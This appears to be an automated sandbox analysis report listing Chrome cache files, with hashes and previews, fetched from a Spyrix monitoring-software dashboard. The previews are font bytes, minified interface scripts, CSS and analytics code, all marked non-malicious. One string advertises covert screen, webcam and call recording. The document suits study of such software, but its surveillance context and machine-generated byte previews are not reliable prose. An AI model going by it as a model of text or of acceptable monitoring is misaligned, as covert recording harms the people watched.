Preview:	wOF2.......P......................................2...r....`?STATH.......4..A.....6.$..8. ..^..5..[.....C5....t..d_.:.......n...u=iX.7Fn..(..........$....3.....)..2..0.....#e2`4....L.....d8.y....\....D.....0X..~f.-...\|.`...2.i.~L.N..".....Gwc%`&Oa.:..>.@z.........^...s..y..f^N6.......+NN.....N#.c....;"j..A]....."}.?h.b...R=r...p..X.{."A...8.9....T.....`I..P..%...,k...L..MO.wf.%....{....S....F....wbh...U9SeE...QY.&!....v=#s.~.......v$.N...1..+\|k.......D.....R.k._dU......#..lO.S...`...x~.w....o.i..v.....nC.."+...c?.3w...i...84:.RI...B#t......Z..b.....E.7.....G.....AT..X`......9c.9.g....:@s....cT..F..........c.01.h...Gb..?...&Z.'y.{.4....J.BV.....~o...". ...?..![...d....^+.......o.B.#J0.<.h.g..4...M6R.......Tb......%..x4J4...6...9.H...'b:b.....~..._.{..)]J:....t.l.m......n..,..z....W..... U.....R.W..y8...A..T...TT.>....\|.ql.u2.../1.=".D.....u.Z].p)..%.0..`..X...........".............n..T .>..'s\.c,..\...W..yx.......QR..M..lB...o....%.m.

Chrome Cache Entry: 668

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 43608, version 1.0
Category:	downloaded
Size (bytes):	43608
Entropy (8bit):	7.995039270032619
Encrypted:	true
SSDEEP:	768:Tv2XSI0CZoHJfWaxMlNF3l9dC1zvscnlQZdBrREpeKuj44fWBJS:TuXS3SoHJ+plNF345vfnGddO+TW6
MD5:	636F1727E619C4EFEAFE604116A79EC9
SHA1:	B99AE578006A654526DE3F672515C22FDE9992D9
SHA-256:	765BFFF42FA8FA2622D8E561F0DB976E1411681041B7327102D96DA6711F0C0E
SHA-512:	0B57204C24675562B30C104EE961ACF920A0B7B207008B7522F97D9B077405E350E4AD8F715230D548350686A9243692896F3EECB38C4EECC9D01B5471FFBDF0
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Nunito-Bold-765bfff4.woff2
Preview:	wOF2.......X.......H..............................2........`?STATD.......@..r.....6.$..8. ..F..5..[.....v..-. -.t...mji...\`.!..{v..qb...X.Y-0v0...'........Q..1....$I@.PQPV...t..D..3.b..$,...V5.;.^...b..{Ku.;.)k.Y.r.....TJ.{d.......{d...7.2..G.[..:...-4P./a......S.....f...x.Z.#n...l..S....f....D.).-.+ ..;.H......1..q....bS.....[...8......3>5..U3..n.~...KL.\o.`..UgSY......j..q..l..J.......^w.F~<........V\e.a.9...o..b%%.K..-y..!..a I.w.A...J.4....[7.3.E....}.Q=....;:...z_...>.dr{.#b.-...G.[.{Ih!...$! .......@.....,.....6.}l`C.A...A......zhj..?...0...2UD7.......{...4c6...D1...[O..Z......b.c.`Q.H..1..EE..jDO......;..<.3.t......G...D.1..o9.Ke..kl.q..........@..??....v..2..rfAJ...2HWs....F..(...g..]..].`r.R..9$H....!.C\|........g'......x.........x....$B!..M...E.D"..M.....o.i.........=.........&........U-...{IN........ ..Q..w..E...H..U....j!..u....s....K.C..K........j..".!.,....`...&p.3(..b..L].-...`U.OzQ.J..!...].-a..8.I.8..../..).....

Chrome Cache Entry: 669

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	129
Entropy (8bit):	4.715705921334956
Encrypted:	false
SSDEEP:	3:lH4Vg0CwERKAAIx/fQxAUEm5JZHJPpRKrUrKzAdgbDn:l30Cw4MYoxJfHhpAArKzAaX
MD5:	738B618755592A2FB11C090833DAA6FF
SHA1:	985ED99CF7A1BED24569735A33B757531D027AE3
SHA-256:	BA59C56764D29D3B0C21BFB12D2F7AE92E745420F214B3B3DC52D31712301E39
SHA-512:	5CADFC6D7594CFD29CCF8539F35FDFC6B5B39525235DD38F1CBE0A49D0FB67D417AFBA1C2B0ACCEBE7C6F06C5FC9951CC167BB37F25F05D9F8E3313E5C27D42C
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/ButtonTemplate.module-c837805f.js
Preview:	const t="_6ptc-v1o",o="eTUt1vSM",c={"button-template":"_6ptc-v1o",buttonTemplate:t,"with-icon":"eTUt1vSM",withIcon:o};export{c};.

Chrome Cache Entry: 670

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from Unix, original size modulo 2^32 27077
Category:	dropped
Size (bytes):	7285
Entropy (8bit):	7.964038684015041
Encrypted:	false
SSDEEP:	192:TvxMGwo9hFNrNNXizl2Bcj94aps9y5aW2CHkz92mDXnjrVo75OKc:7aboh57AL94ly592CmFXidJc
MD5:	F687E94F4D455BA119D2187B14A884AE
SHA1:	5206BDA3E1959F6A7369D33171F9AF76F92C21E2
SHA-256:	5D18275C9AC22E917CEA324C250F54D9F6A1899BAB0EFBDF3739A6AB181BE5A3
SHA-512:	1EA801D2E9BD5C4A3FAD19776270D971A159B28B52AF0369D208D6FFC0A5F81BF0CD8B8CA2379B1C75E366694DBE4B1ED1C7CBB78137F61829A8AC38B54D93CA
Malicious:	false
Reputation:	unknown
Preview:	............n.V...Sp..v.ka....!..$.;..%.......6...,.J....'....{I.".K.v:."......fM..Iq..\....S...O..k......../....}...\|......O]}.>.O.6u.a...GK..UE.3..usF..az.m...0.]...&o.[../..Y.L...i...0..U...0....M[.RwBy...8...Orq.>+..H..o:....o.f}t.>lRw...).O....J.3?o.f..jrfu.0mX.K:m....U_..zN.M.([f.#{PWeM.w.\,...V..^...m.q..6u..../O..w..Y...{x.~QVV..w}.}x5\|..q........v..a...J...H...I...~..o..5....._.......G.'.{.=k.F......>...\|..}..T....6....e..TX..K......,g[.S.r..l..\|."..O...-...G...i....`.XhN.....sIb..u...2k..K.i.WW....T.u.7,`.w..R.g.H.\Y.i.G....f.Z...mE...\.}...C>..ZgW.,..E....:gSR...N....,.8.).YV...nU..l;.M."18(...y...d..n.lV..[n.:............p.E[$..:..u.(.y..6.K.ErvR... Yy.....v..f.%..m%I.,....~..]z..W.l.$.E.Y3.L..@.J.:O.4....'S5..Kj....@W..,...N^..}.n....DLz..l....v...J3JJ..o.Q...^R8mY....&..[..<s..7a.Y.<c.r7.xV.N/.WE2...Vo$ci..Z..!../.b_.&.-N.en..7.\|s...#.<.3.\....?.nY..;OVy.gxa....6....zy.t.j..;..V.K.?....m..o...X6.CI

Chrome Cache Entry: 671

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	120
Entropy (8bit):	4.87560060165103
Encrypted:	false
SSDEEP:	3:lHkiDkYHsh9J55ZrKAAdGaOiDpEqxALR4QHEXxB+N:lEi4YHGrMdGaOiaqxWqgoB0
MD5:	62BC1BD7189B2B28A9985E0C3661BC91
SHA1:	33AC2D40B9C973C0D040E08AFF37F072D2C5E136
SHA-256:	98A603E044A3472D373EF9C4F3A563E7596FF8F9C43620409EE5E74FBF45CC28
SHA-512:	47B95930336340314410E9A9D30C71E74E6191E3C64FD39DA973B561BABCD987647B40B7B2587B047A763F5D765D6CD4D83EE037CC63F02EA3525D692AAA281D
Malicious:	false
Reputation:	unknown
Preview:	const t="vaJg7XGf",o="mtxFuuqo",n="MtAUm4rd",x={"button-text":"vaJg7XGf",buttonText:t,text:o,primary:n};export{x as c};.

Chrome Cache Entry: 672

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (628)
Category:	downloaded
Size (bytes):	629
Entropy (8bit):	5.408519312247252
Encrypted:	false
SSDEEP:	12:M5WsR75UQOHXu8jeAYJMngYRde4HL1DBVTUojE0uymy:M5/p99JMngYZHZDBbfuymy
MD5:	7CB321EE79F0127E78FAD017F97285AA
SHA1:	5921A3AFA7B59C1A69F214A592F5290A9AA5A080
SHA-256:	2BF0E6089F8E9819E3CAA315D3C024148EE6D53411450118363668A0B9F2F6D5
SHA-512:	E1994D07BDF15F40ACB2E1F35A3738BF24A909C6FEF2D0513D2FBBD0A0DC9A434C96AE9699C8497E0EECBD1229CC066B11A5B6413F8DF608B222FE07A61D6BC9
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Button.module-6d4e91b8.js
Preview:	const e="g1jDENuQ",o="kn3-jpa8",d="pi1aSgqN",r="Yx2mIjN5",n="GQTXnPVh",s="Spt6Oo9A",c="RmDlDtP1",t="nLIGWB2k",l="IePxoOqS",i="AUmvNTz6",a="_6vXQpmQD",m="q3V02Fh6",b="SJ0GPc8e",y="_5VeaxEd9",p="cKfyhJq-",h="Gw-l67yM",u="XjJMOjKF",x="WZhZ-ZKL",P="eIH6eshW",D={button:e,loading:o,disabled:d,"bordered-primary":"Yx2mIjN5",borderedPrimary:r,"bordered-filled":"GQTXnPVh",borderedFilled:n,"primary-filled":"Spt6Oo9A",primaryFilled:s,"bordered-secondary":"RmDlDtP1",borderedSecondary:c,default:"JCiXG-DG",success:t,clear:l,xs:i,sm:a,tn:m,md:b,lg:y,xl:p,inline:h,circle:u,shadow:x,"more-rounded":"eIH6eshW",moreRounded:P};export{D as c};.

Chrome Cache Entry: 673

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1097)
Category:	downloaded
Size (bytes):	1098
Entropy (8bit):	4.801883004252557
Encrypted:	false
SSDEEP:	24:pIDlt6Rqz5Rqz9cujSPhQsF+a2cG2DB/pzOpzDErt7:d0EY/BOBDG
MD5:	01CEB283B00E59B25F2283787D5FBCFC
SHA1:	12503D8DC4A1904F39A2BE105CD2BEF151464B80
SHA-256:	EFAC77214359588EE656CE42F52A545423480B5C194894B4B3237DFA27C0BF4B
SHA-512:	533636F230CE0236E8E248CB0A26593DEBBD6B88DB6E054822E831203EE15EDE59A00D01FCE8FE422535E826F6F4B865599FCB9E7FF6EF0593B0B2E736B0B273
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/en-5393c481.js
Preview:	const o="convenient",e="Main",n={"The license period has expired":"The license period has expired","The trial period is expired":"The trial period is expired","Your data is safe":"Your data is safe","Please purchase a license to access your data":"Please purchase a license to access your data","Buy 1 PC for 12 months for $":"Buy 1 PC for 12 months for $","DISCOUNT {0}":"DISCOUNT {0}","Computers count":"Computers count","101 and more - ":"101 and more - ","21-100 PC - ":"21-100 PC - ","1PC per month":"1PC per month",convenient:o,"3 Months":"3 Months","6 Months":"6 Months","12 Months":"12 Months","24 Months":"24 Months","1PC for 12 Months":"1PC for 12 Months","1PC for 12 Months +":"1PC for 12 Months +","Do you have a discount coupon?":"Do you have a discount coupon?","Discount coupon":"Discount coupon","Coupon is applied":"Coupon is applied","Apply coupon":"Apply coupon","Includes Screen recording, Webcam recording, Face recognition, Call recording":"Includes Screen recording, Webcam rec

Chrome Cache Entry: 674

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	638
Entropy (8bit):	4.939194107933857
Encrypted:	false
SSDEEP:	12:hYKC/JI56MIY5Jo4PFcJt1lFqGBfqsz6/mvVg6D6TYBYAlbBmdDuzRw/vGb:hY//J46Yo8stEoz+sVg6DSYnlp92vM
MD5:	1B3C31F1365D50685671B178B782862B
SHA1:	7C735B95DB567AFD726F37B4EBD3420A903A7B90
SHA-256:	81873B843E34209B269790E83D4AD3A229369F69B419AB61D25759763BEAABA6
SHA-512:	42D2654F6E834D0E8D54036A5B3595167685908CC63B34FBE95435FE0547664C6C4AD44D82F62EBBEE95C9171EA7756E96AC2A09B3734B0BE6764F45642D53F6
Malicious:	false
Reputation:	unknown
URL:	https://dashboard.spyrix.com/
Preview:	<!DOCTYPE html>.<html lang="en">..<head>. <meta charset="UTF-8" />. <link. rel="icon". href="/favicon.ico". />. <meta. name="viewport". content="width=device-width, initial-scale=1.0". />. <meta. name="robots". content="noindex". />. <title>Dashboard</title>. <script type="module" crossorigin src="https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.js"></script>. <link rel="stylesheet" href="https://cdn.cdndownload.net/dashboard30/assets/index-93c74fef.css">.</head>..<body>. <div id="app"></div>. <script>. document.write('<script src="/cdn.js"><\/script>');. </script>. .</body>..</html>

Chrome Cache Entry: 675

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C++ source, Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	987
Entropy (8bit):	5.179649768973068
Encrypted:	false
SSDEEP:	24:m2kqUquqB3Wbp0V+uzU+xWkjPE/mB/sXZsB:m8UqiDMWh2sXZc
MD5:	27EC29286E721D5B6E14B6D719F1E743
SHA1:	5B1952EB5702AE263C64ECAD8816CE0E723B2D50
SHA-256:	DFD3C3DFEFCEA9215799DAD6F6E71074FA7E4660EAD660B85F4E6EE243EA55DD
SHA-512:	82F80ADA35372D6F0174F177E0A87843D6E7A2B1442AF44F908E75CA91A52C4E1B2D55EAFB08494C025996076148247A7A1DFC8BE2D249D0B1566209F68B050B
Malicious:	false
Reputation:	unknown
Preview:	.class Cdn {. _maxCounter = 30;. _interval = null;. _counter = 0;.. init() {. // document.cookie = 'cdn-off=0'; //...... ... .... ............ . .. .......... .. ....... this._interval = setInterval(this._checkDom.bind(this), 1000);. }.. _checkDom() {. this._counter += 1;.. const element = document.querySelector('.progress-loader');.. if (!!element && !!this._interval) {. clearInterval(this._interval);. }.. if (this._counter >= this._maxCounter && !!this._interval) {. clearInterval(this._interval);.. if (!element) {. this._disableCDN();. }. }. }.. _disableCDN() {. document.cookie = 'cdn-off=30';. location.reload();. }.. _enableCDN() {. document.cookie = 'cdn-off=0';. }.}..const cdn = new Cdn();.cdn.init();..// ..... ......... .... ...... .... ........// window.addEventListener('unload', () => {.// cdn._enableCDN();.// });

Chrome Cache Entry: 676

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2720)
Category:	downloaded
Size (bytes):	2721
Entropy (8bit):	5.2947178448950725
Encrypted:	false
SSDEEP:	48:qtlh2sBoHzp5G7bGdM/mEAs882htu735/oj0I9pbXPDU8E:qt6PG7b4M/xAJ8ayApbrUn
MD5:	817F0F4CD1E827C030E17392C76A17B9
SHA1:	278B4C780B9111A0211C26E6A8499D6795DD03A1
SHA-256:	86D79A8A639BC01A5E86E96F4010D7DA2375DCD8CEAD0C3F7FB8E8DC887EE97A
SHA-512:	6523FF0171037537B247F98D12736724B87DD9185618356AD01285E0764B517B89B1F99C2A194DB8319DDD0B999372FFD5984E119CBEFC01399FAA01FDF114A3
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/ConfirmPhoneModal-86d79a8a.css
Preview:	.FRQJSw27{display:flex;flex-direction:column;flex:1;justify-content:center;max-width:350px;width:100%}@media screen and (max-width: 480px){.FRQJSw27{max-width:95%;padding:15px}}.NrHTQ2JN{border-radius:10px;padding:30px;background:#fff;box-shadow:var(--shadow)}.Ht9A72w8{display:flex;justify-content:space-between;position:relative;z-index:var(--z-main)}.Ht9A72w8:after{content:"";position:absolute;border:1px solid var(--app-text-inverse);width:calc(100% - 120px);bottom:10px;left:50%;transform:translate(-50%);z-index:30}.-IjymTpC{display:flex;flex-direction:column;align-items:center;width:100px;justify-content:center}.tw6CEYln{display:flex;text-align:center;margin-bottom:10px}.IYlM96Nq{margin-top:auto;width:21px;height:21px;border-radius:50%;background-color:transparent;z-index:var(--z-main);border:1px solid var(--app-text-inverse)}.-FtbW-m2{background-color:var(--primary);border-color:var(--primary)}.VAQD352X{border-radius:10px 0 0 10px;background-color:var(--sign-up-bg);background-image:

Chrome Cache Entry: 677

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 184 x 184, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3029
Entropy (8bit):	7.775466271259918
Encrypted:	false
SSDEEP:	48:trqMHw1fogNoolwWy7d/fB/yKv8EwIgr4/0aMsVYU39z9p39AWToe8JhKtbmrLNV:tGAYfTlYH/Bv8dZc/04VYA9n3eWb8Ho6
MD5:	175BFAD4569B48687A15D43A4E9BB617
SHA1:	E28A5AC7818D8ACEDA0D2DE2C20DD922923C3BA5
SHA-256:	F97E3C0058E3352D1F3789F40CB76DBF2C6C085AFA7535BD38F4970F884B2A45
SHA-512:	658CC310C2A8FDBB32D48487CC7373B7D559AE55CB566C3669724F71ED9D86108F63E7A42B191A2A70CBCA47960E2591F7353261DCF5F0556AEDF1AB9F2D1501
Malicious:	false
Reputation:	unknown
URL:	https://dashboard.spyrix.com/favicon.ico
Preview:	.PNG........IHDR.............P3&.....gAMA......a.....pHYs..!7..!7.3X.z....tEXtSoftware.paint.net 4.1.6.N.....SIDATx^..q.F....C....C..NeI....@.@.`......C....n......nw.3..y_.W.jqw...1..w........uY(.e.7.......-.....2.e.<.V....GX....y...Z.pZ.2o.aQ+.Nk[..#,je.im.y.E..8.m.7.......-.....2.e.<.V....GX.........OtN....@.y...Z].O.yG...e....-.y.E..8....0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.8...NB...0.$4.x0...O.........?=......+..40..H..sZ..6.........0.A..9..p..\|..\R.~.o...<.i]...U..d.....@nM..;...0..H;....NC.0.x..;...-.....v..P-.....2....C.0.x.R..B...[..<.2.K..6hlW-.....A;...E.....e...-..3[..<0.....W9+..a.'!m.....:[..O.L-..>13.0.8Y...0...".0.8y..-..NT...0...H-..N...0...zma.6..?..GX...Ao-..2o.aQ+.>...07-.....2...a..-.....2.1.}.k.S..#,je.cqmaz...y.E..x\.~.).....z..\|..........y...Z.._..!y.."oG.9g.0e.<..=...,W..].'.Z.2o.aQ........E....GX.Z#.WedH.....-L.7....f.7.....Z.2o.aQk..S..la.bO.S..

Chrome Cache Entry: 678

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (1391)
Category:	downloaded
Size (bytes):	1392
Entropy (8bit):	5.443005642997937
Encrypted:	false
SSDEEP:	24:B/6XhnpFffC3/V2iWX4qL2zzp0iRFjY6GoqRrMj5q3F0TapE7gJSvCGRBCtdSTii:BiXNzffkgiWXb2PDjPGXBWTmzJQ8ur/
MD5:	370BC65CD3A997F3010006B7E0739D12
SHA1:	5F9E96CC563F61F21B9C51EDA58739BF67B53940
SHA-256:	634452B54F1A478056C7549C96D3343103E69FF3890D9735A59B061201CB7D48
SHA-512:	AC692658620E0D019A2CEC8D1197A8F87EACE856E5796AD248A00586AC6833B35A244465609EA341062133C65356F08534610F54B46C855CE45C6099AFCF857D
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/Modal.module-d62c47b8.js
Preview:	import{au as n}from"./index-004f4025.js";const r=(e,o,t)=>{switch(o){case"increase":return e.sort((s,a)=>s[t]>a[t]?1:-1);case"decrease":return e.sort((s,a)=>s[t]<a[t]?1:-1)}},y=n("modal",{state:()=>({modalsQueue:[]}),getters:{isActiveAnyModal(e){return!!e.modalsQueue.length}},actions:{updateModalsQueue(e){if(e.priority>1e3\|\|e.priority<0)throw new Error("Priority should be less than 1001 and positive");this.modalsQueue.push(e);const o=r(this.modalsQueue,"decrease","priority");this.modalsQueue=[...o]},hideModal(e){this.modalsQueue=this.modalsQueue.filter(o=>o.id!==e)},clearQueue(){this.modalsQueue=[]}}}),c="_5kL4TPdD",l="eoPx-XfL",d="-uFEEehb",u="fMo3ZVEl",i="_6sPwaxyC",m="LL0-2zyj",L="_8u3lj-7P",f="OCt9ytvK",v="NhW0oA55",h="_0yU2sS3O",T="_2Qha-LQ3",Q="_39-eKlaL",E="_1HrmGkwL",_="B5v0MvTK",p="Kuf5IxtV",F={modal:c,"modal-hidden":"eoPx-XfL",modalHidden:l,backdrop:d,"modal-ar":"fMo3ZVEl",modalAr:u,content:i,"close-button":"LL0-2zyj",closeButton:m,"close-button-icon":"_8u3lj-7P",closeButtonI

Chrome Cache Entry: 679

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, Unicode text, UTF-8 text, with very long lines (5161)
Category:	downloaded
Size (bytes):	5163
Entropy (8bit):	5.370031062210679
Encrypted:	false
SSDEEP:	96:465cseIJOXqXSC4fUB0R7np5n9Tpivy3rhUQZ0/t/wk5wRwKvQH8n/:4O1XSC4Y0xnpt9tEy3SQZ8Bwk5CvQH8/
MD5:	E6BC7C31B43816CEFAF80A03CD93DB22
SHA1:	47C88ACD158A35C26EE7457D3521F0C93C29FB6E
SHA-256:	C5545CD432E5A08437298FC0F38EFA01E077C49C97EE7B64CD6AE3AA24A9DF36
SHA-512:	3F8276ACBF8955CFBC4D5B0E067362AEEA6C56B00600666EDEA3DF0CF5480DD46DAC884FBBF9F41971F842DBC374B7414A0A0A715377668F175AAA5293B9760D
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/index-1178777c.js
Preview:	import{d as F,o as I,b as D,i as P,r as gt,n as r,u as t,au as pt,g as H,E as _t,F as ft,$ as vt,D as Et,M as u,c as w,p as x,R as y,s as ht,at as wt,h as s,y as d,az as xt,am as yt,e as St}from"./index-004f4025.js";import{a as W,u as Lt,b as Pt,d as Bt}from"./ConfirmPhoneModal.module-3f369b32.js";import{_ as B}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";import{u as Ft,_ as It,a as kt}from"./Copyright.vue_vue_type_script_setup_true_lang-05301fe7.js";import"./Button.module-6d4e91b8.js";import"./ButtonTemplate.module-c837805f.js";import"./ButtonText.module-c769b9ae.js";import"./Modal.module-d62c47b8.js";import{_ as S}from"./Button.vue_vue_type_script_setup_true_lang-56edf5a6.js";import{_ as L}from"./ButtonText.vue_vue_type_script_setup_true_lang-1bda6e81.js";import{u as Ct}from"./useValidation-954c07e6.js";import{_ as q}from"./Input.vue_vue_type_script_setup_true_lang-31858815.js";import"./loop-c45f0f1e.js";const Mt=F({__name:"AuthCard",setup(o){return(a,v)=>(I(),D("div"

Chrome Cache Entry: 680

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5945)
Category:	downloaded
Size (bytes):	271548
Entropy (8bit):	5.5718501644400575
Encrypted:	false
SSDEEP:	6144:2k3n+yZmhryzjrgBB9Tch2+4jm8eTVcwOuw4z:tuumhrtkOI
MD5:	FEE04771C60E30CCE65B467408C3EC1F
SHA1:	C550CEB0700662B3C71429A8FFD626DE2883F800
SHA-256:	CDA31EC5251689557034E6A284D3EF29323006C241BDDC557BDBF8A536C41653
SHA-512:	61DF61B9C1DD2573380D7E0CED6931B1B3A69F51F3A0131DDAE0B0411768CA0F3B3C89F0B329E06721EBAC17426E868EB0E5E460989D10D09F51272ABB81CA3F
Malicious:	false
Reputation:	unknown
URL:	https://www.googletagmanager.com/gtag/js?id=G-1S18THVZ27&l=dataLayer
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"2",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":false},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_ga_send","priority":6,"vtp_value":true,"tag_id":11},{"function":"__ogt_ip_mark","priority":6,"vtp_instanceOrder":0,"vtp_paramValue":"internal","vtp_ruleResult":["macro",1],"tag_id":13},{"function":"__ogt_referral_exclusion","priority":6,"vtp_includeConditions":["list","spyrix\\.com"],"tag_id":14},{"function":"__ogt_session_timeout","priority":6,"vtp_sessionMinutes":30,"vtp_sessionHours":0,"tag_id":15},{"function":"__ogt_1p_data_v2","priority":6,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"",

Chrome Cache Entry: 681

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, Unicode text, UTF-8 text, with very long lines (5161)
Category:	dropped
Size (bytes):	5163
Entropy (8bit):	5.370031062210679
Encrypted:	false
SSDEEP:	96:465cseIJOXqXSC4fUB0R7np5n9Tpivy3rhUQZ0/t/wk5wRwKvQH8n/:4O1XSC4Y0xnpt9tEy3SQZ8Bwk5CvQH8/
MD5:	E6BC7C31B43816CEFAF80A03CD93DB22
SHA1:	47C88ACD158A35C26EE7457D3521F0C93C29FB6E
SHA-256:	C5545CD432E5A08437298FC0F38EFA01E077C49C97EE7B64CD6AE3AA24A9DF36
SHA-512:	3F8276ACBF8955CFBC4D5B0E067362AEEA6C56B00600666EDEA3DF0CF5480DD46DAC884FBBF9F41971F842DBC374B7414A0A0A715377668F175AAA5293B9760D
Malicious:	false
Reputation:	unknown
Preview:	import{d as F,o as I,b as D,i as P,r as gt,n as r,u as t,au as pt,g as H,E as _t,F as ft,$ as vt,D as Et,M as u,c as w,p as x,R as y,s as ht,at as wt,h as s,y as d,az as xt,am as yt,e as St}from"./index-004f4025.js";import{a as W,u as Lt,b as Pt,d as Bt}from"./ConfirmPhoneModal.module-3f369b32.js";import{_ as B}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";import{u as Ft,_ as It,a as kt}from"./Copyright.vue_vue_type_script_setup_true_lang-05301fe7.js";import"./Button.module-6d4e91b8.js";import"./ButtonTemplate.module-c837805f.js";import"./ButtonText.module-c769b9ae.js";import"./Modal.module-d62c47b8.js";import{_ as S}from"./Button.vue_vue_type_script_setup_true_lang-56edf5a6.js";import{_ as L}from"./ButtonText.vue_vue_type_script_setup_true_lang-1bda6e81.js";import{u as Ct}from"./useValidation-954c07e6.js";import{_ as q}from"./Input.vue_vue_type_script_setup_true_lang-31858815.js";import"./loop-c45f0f1e.js";const Mt=F({__name:"AuthCard",setup(o){return(a,v)=>(I(),D("div"

Chrome Cache Entry: 682

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (837)
Category:	downloaded
Size (bytes):	838
Entropy (8bit):	5.138342360432239
Encrypted:	false
SSDEEP:	24:HIA6XKsUFFQtk4BQs1uub9T5zvEw+8iYshFQa:qXdcmVlhxz+5YsTQa
MD5:	2DE77C15D2E4B26D02874D1C6A5D78D1
SHA1:	B80B2BB3553C9C417B569CCF7E7C8CED660AE735
SHA-256:	9D95D9183E874ACA32283807A0464CA9C4BC267FAEA799E27A3C23D2CD7ACA61
SHA-512:	F4007CF227253D9548EDE6D646C3757BD8F8AAF316030E271E8A7B3AD730F8CED4991A3C96E850944313E2BFA94BF13400715AC9EB93ACFAD37353FE4217C7A0
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/useValidation-954c07e6.js
Preview:	import{ac as n,m as i}from"./index-004f4025.js";const d=e=>{const{t}=n;return e.includes("@")&&e.includes(".")?"":t("Please enter a valid e-mail address")};function m(e){const{t}=n;return e.length<=180?"":t("The field must contain less than 180 characters")}const f=e=>{const{t}=n;return e.length<6?t("The field must contain at least 6 characters"):""},h=e=>{const{t}=n;return/^([+]\|\d)([0-9])+$/.test(e)?"":t("There should only be numbers")},p=e=>{const{t}=n;return e?"":t("Field cannot by empty")};function F(){const e=i({}),t={required:p,maxLen:m,email:d,minLen6:f,phone:h},u=(s,o,l)=>{let r=!1;l.forEach(a=>{if(r)return;const c=t[a](o);if(c){e.value[s]=c,r=!0;return}else e.value[s]=""})};return{errors:e,validate:u,validateField:(s,o,l)=>{const r="mockedFieldName";u(r,s,o);const a=e.value[r];return a?(l(a),!1):!0}}}export{F as u};.

Chrome Cache Entry: 683

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (795)
Category:	downloaded
Size (bytes):	796
Entropy (8bit):	5.177657402754797
Encrypted:	false
SSDEEP:	24:5AEGWcKDE8vXntdkNr2kZPmoSnH52XdGKav:5AEGlt8vXtd42+mo6edGKk
MD5:	3200FC81B1A014F05468E26FDE52BE12
SHA1:	7FE3D3991C4050E7FB07A77A562EBEAC60BE5F8F
SHA-256:	322F62D059D4F3F0641420A7E2CC89B734F6019D54460D25CB3E06E502B8B0CE
SHA-512:	82BB4B79EA3C1305D710754C840751AEDCC140894F2FA8356DE784C58175A15E678DF619466A2D363BEA2AE747BF840D5750CD8D07F8D7DD20EF8955EBE88A69
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/ButtonText.vue_vue_type_script_setup_true_lang-1bda6e81.js
Preview:	import{d,g as c,c as s,o as f,b as m,h as p,n,u as a}from"./index-004f4025.js";import{_ as x}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";import{c as o}from"./ButtonText.module-c769b9ae.js";const b=d({__name:"ButtonText",props:{whiteSpace:{default:"default"},text:{},loading:{type:Boolean,default:!1},loadingText:{default:""},customColor:{default:"default"},disabledText:{default:""},size:{default:"sm"}},setup(l){const e=l,{t:r}=c(),i=s(()=>e.loadingText?e.loadingText:r("Please, wait...")),u=s(()=>e.loading?i.value:e.disabledText?e.disabledText:e.text);return(t,T)=>(f(),m("div",{class:n([a(o).buttonText,a(o)[t.customColor]])},[p(x,{class:n(a(o).text),text:u.value,size:t.size,"one-row":t.whiteSpace!=="wrap"},null,8,["class","text","size","one-row"])],2))}});export{b as _};.

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with CR, LF line terminators
Category:	dropped
Size (bytes):	2216
Entropy (8bit):	3.2818301110048056
Encrypted:	false
